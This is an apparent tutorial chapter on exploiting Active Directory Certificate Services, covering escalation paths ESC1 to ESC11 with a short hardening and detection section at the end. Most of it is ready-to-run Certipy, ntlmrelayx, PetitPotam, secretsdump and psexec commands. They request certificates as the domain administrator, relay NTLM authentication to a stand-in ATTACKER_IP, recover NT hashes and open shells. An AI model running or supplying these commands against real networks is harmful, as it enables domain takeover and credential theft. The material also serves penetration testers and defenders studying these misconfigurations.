Part 6: Exploiting AD Certificate Services (ADCS)

Active Directory Certificate Services (ADCS) is arguably the most overlooked attack surface in AD. The “Certified Pre-Owned” research by SpecterOps documented a series of escalation paths (ESC1–ESC8), and subsequent research has added ESC9–ESC13. A single misconfigured certificate template can give any domain user a direct path to Domain Admin.

Primary tool: Certipy — handles enumeration, exploitation, and authentication.


Enumeration

Find All ADCS Vulnerabilities

# Full enumeration — outputs JSON, text, and BloodHound data
certipy find -u user@domain.local -p 'password' -dc-ip DC_IP

# Vulnerable templates only
certipy find -u user@domain.local -p 'password' -dc-ip DC_IP -vulnerable

# Output includes:
# - Certificate Authorities
# - Certificate templates with permissions
# - Vulnerable configurations flagged by ESC number
# Certify (C# alternative)
Certify.exe find /vulnerable

# PowerShell
Get-ADObject -Filter {objectClass -eq 'pKICertificateTemplate'} -Properties * | 
  select name, msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag, pkiExtendedKeyUsage

Key Template Properties to Inspect

PropertyDangerous ValueWhy
msPKI-Certificate-Name-FlagENROLLEE_SUPPLIES_SUBJECTUser controls the SAN — can impersonate anyone
pkiExtendedKeyUsageClient Authentication / Any Purpose / SubCAAllows authentication
Enrollment permissionsLow-priv users can enrollTemplate is accessible
Manager approvalDisabledNo human gatekeeping
Authorized signatures0No co-signing required

ESC1 — Misconfigured Certificate Template (SAN Abuse)

Severity: 🔴 Critical

The most common and impactful ADCS vulnerability. If a template allows the enrollee to specify a Subject Alternative Name (SAN) AND has Client Authentication EKU AND low-privilege users can enroll — any user can get a certificate as Domain Admin.

Conditions Required (all must be true)

  1. ENROLLEE_SUPPLIES_SUBJECT flag is set
  2. Template has Client Authentication (or Any Purpose) EKU
  3. Low-privilege users have enrollment rights
  4. Manager approval is NOT required
  5. No authorized signatures required

Exploitation

# Request certificate with administrator SAN
certipy req -u user@domain.local -p pass \
  -ca 'YOURCA-CA' \
  -template 'VulnerableTemplate' \
  -upn administrator@domain.local

# Authenticate with the certificate → get NT hash
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# Output:
# [*] Got hash for 'administrator@domain.local': aad3b435...:8846f7ea...

# Use the hash for DCSync, PtH, etc.
secretsdump.py domain.local/administrator@dc01 -hashes :8846f7ea...

ESC2 — Any Purpose / SubCA EKU

Severity: 🟠 High

Template with Any Purpose OID (2.5.29.37.0) or SubCA EKU. Any Purpose certificates can be used for client authentication (like ESC1). SubCA certificates let you issue your own certificates.

# Same exploitation as ESC1 if ENROLLEE_SUPPLIES_SUBJECT is set
certipy req -u user@domain.local -p pass \
  -ca YOURCA -template VulnTemplate \
  -upn administrator@domain.local

ESC3 — Enrollment Agent Templates

Severity: 🟠 High

A two-step attack using enrollment agent certificates. Step 1: Enroll in an “Enrollment Agent” template. Step 2: Use that agent certificate to request a certificate on behalf of another user.

# Step 1: Get enrollment agent certificate
certipy req -u user@domain.local -p pass \
  -ca YOURCA -template EnrollmentAgent

# Step 2: Use it to request a cert as administrator
certipy req -u user@domain.local -p pass \
  -ca YOURCA -template User \
  -on-behalf-of 'domain\administrator' \
  -pfx enrollment_agent.pfx

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

ESC4 — Vulnerable Template ACLs

Severity: 🔴 Critical

If you have write access to a certificate template object in AD, you can modify it to be ESC1-vulnerable, exploit it, then restore it.

Conditions

You need one of: GenericAll, GenericWrite, WriteDACL, or WriteOwner on the template object.

# Save current template config, modify to be vulnerable
certipy template -u user@domain.local -p pass \
  -template VulnTemplate -save-old

# Template is now ESC1-exploitable
certipy req -u user@domain.local -p pass \
  -ca YOURCA -template VulnTemplate \
  -upn administrator@domain.local

# Restore original template
certipy template -u user@domain.local -p pass \
  -template VulnTemplate \
  -configuration VulnTemplate.json

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 on CA

Severity: 🔴 Critical

If the CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, every template becomes ESC1 — the CA will accept SANs in the request regardless of the template setting.

# Check if the flag is set
certipy find -u user@domain.local -p pass -dc-ip DC_IP
# Look for: "User Specified SAN: Enabled" on the CA

# Exploit any template with Client Auth EKU
certipy req -u user@domain.local -p pass \
  -ca YOURCA -template User \
  -upn administrator@domain.local

ESC7 — Vulnerable CA ACLs

Severity: 🔴 Critical

If you have ManageCA permission on the Certificate Authority, you can enable the ESC6 flag yourself, then exploit any template.

# Step 1: Enable the SAN flag (requires ManageCA)
certipy ca -u user@domain.local -p pass \
  -ca YOURCA -enable-template SubCA

# If you also have ManageCertificates, you can issue failed requests:
# Step 1: Request a cert (it may fail/pend)
certipy req -u user@domain.local -p pass \
  -ca YOURCA -template SubCA \
  -upn administrator@domain.local

# Step 2: Issue the pending request
certipy ca -u user@domain.local -p pass \
  -ca YOURCA -issue-request <REQUEST_ID>

# Step 3: Retrieve the issued certificate
certipy req -u user@domain.local -p pass \
  -ca YOURCA -retrieve <REQUEST_ID>

ESC8 — NTLM Relay to ADCS HTTP Enrollment

Severity: 🔴 Critical

The ADCS web enrollment endpoint (/certsrv/) accepts NTLM authentication. If EPA (Extended Protection for Authentication) is not enabled, you can relay NTLM authentication to this endpoint.

See Part 4: Automated Relays for the full relay setup.

# Terminal 1: Start relay to ADCS
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Terminal 2: Coerce DC authentication
PetitPotam.py ATTACKER_IP DC01_IP

# Terminal 3: Use the certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP

ESC9 — No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)

Severity: 🟠 High

If a template has CT_FLAG_NO_SECURITY_EXTENSION and StrongCertificateBindingEnforcement is not set to 2, the szOID_NTDS_CA_SECURITY_EXT extension is not embedded. Combined with GenericWrite on a user, you can change their UPN to an admin’s UPN, enroll, then change it back.

# Change victim's UPN to administrator's
certipy account update -u user@domain.local -p pass \
  -user victim -upn administrator@domain.local

# Enroll
certipy req -u victim@domain.local -p pass \
  -ca YOURCA -template VulnTemplate

# Restore UPN
certipy account update -u user@domain.local -p pass \
  -user victim -upn victim@domain.local

# Authenticate as administrator
certipy auth -pfx administrator.pfx -domain domain.local

ESC11 — NTLM Relay to RPC Certificate Enrollment

Severity: 🟠 High

Similar to ESC8, but targets the RPC enrollment interface (ICPR) instead of HTTP. Requires the CA to have the IF_ENFORCEENCRYPTICERTREQUEST flag disabled.

# Relay to RPC enrollment
certipy relay -ca ca.domain.local -template DomainController

# Coerce authentication
PetitPotam.py ATTACKER_IP DC01_IP

ESC Quick Reference

ESCVulnerabilityKey Condition
ESC1Enrollee supplies SANENROLLEE_SUPPLIES_SUBJECT + Client Auth
ESC2Any Purpose / SubCA EKUOverly broad EKU
ESC3Enrollment Agent abuseTwo-step delegation
ESC4Writable template ACLsGenericAll/Write on template
ESC5Vulnerable PKI object ACLsWrite on CA, NTAuth, root certs
ESC6SAN flag on CAEDITF_ATTRIBUTESUBJECTALTNAME2
ESC7ManageCA permissionsEnable templates / issue requests
ESC8NTLM relay to HTTP enrollmentNo EPA on web enrollment
ESC9No security extension + UPN changeCT_FLAG_NO_SECURITY_EXTENSION
ESC10Weak certificate mappingStrongCertificateBindingEnforcement = 0
ESC11NTLM relay to RPC enrollmentNo encryption enforcement on ICPR

Certificate Authentication Flow

Once you have a certificate (.pfx file), authentication works like this:

# PKINIT: Certificate → TGT → NT hash
certipy auth -pfx admin.pfx -dc-ip DC_IP

# This uses Kerberos PKINIT to get a TGT, then
# UnPAC-the-hash to recover the NT hash

# You can then use the hash for:
secretsdump.py domain.local/administrator@dc01 -hashes :NTHASH  # DCSync
psexec.py domain.local/administrator@dc01 -hashes :NTHASH       # Shell

Defense & Detection

Hardening

ControlWhat It Prevents
Disable ENROLLEE_SUPPLIES_SUBJECT on all templatesESC1
Restrict enrollment permissionsESC1, ESC2, ESC3
Audit template ACLsESC4
Disable EDITF_ATTRIBUTESUBJECTALTNAME2ESC6
Restrict ManageCA permissionESC7
Enable EPA on web enrollmentESC8
Enable StrongCertificateBindingEnforcement = 2ESC9, ESC10
Require manager approval on sensitive templatesAll ESC
Remove unused templatesReduces attack surface

Detection (Event IDs)

Event IDSourceWhat It Catches
4886CACertificate request received
4887CACertificate issued
4888CACertificate request denied
4899CACertificate template updated

Monitoring Queries

# List recently issued certificates
certutil -view -out "Request ID,Requester Name,Certificate Template,Certificate Hash,NotAfter"

# Check for SAN flag on templates
certutil -v -dstemplate | findstr /I "msPKI-Certificate-Name-Flag"

 

 


Next up → Part 7: Exploiting Domain Trusts — Golden Tickets, SID history injection, inter-realm trust abuse, and cross-forest attacks.

 

Writeups that put these techniques into practice will be linked here.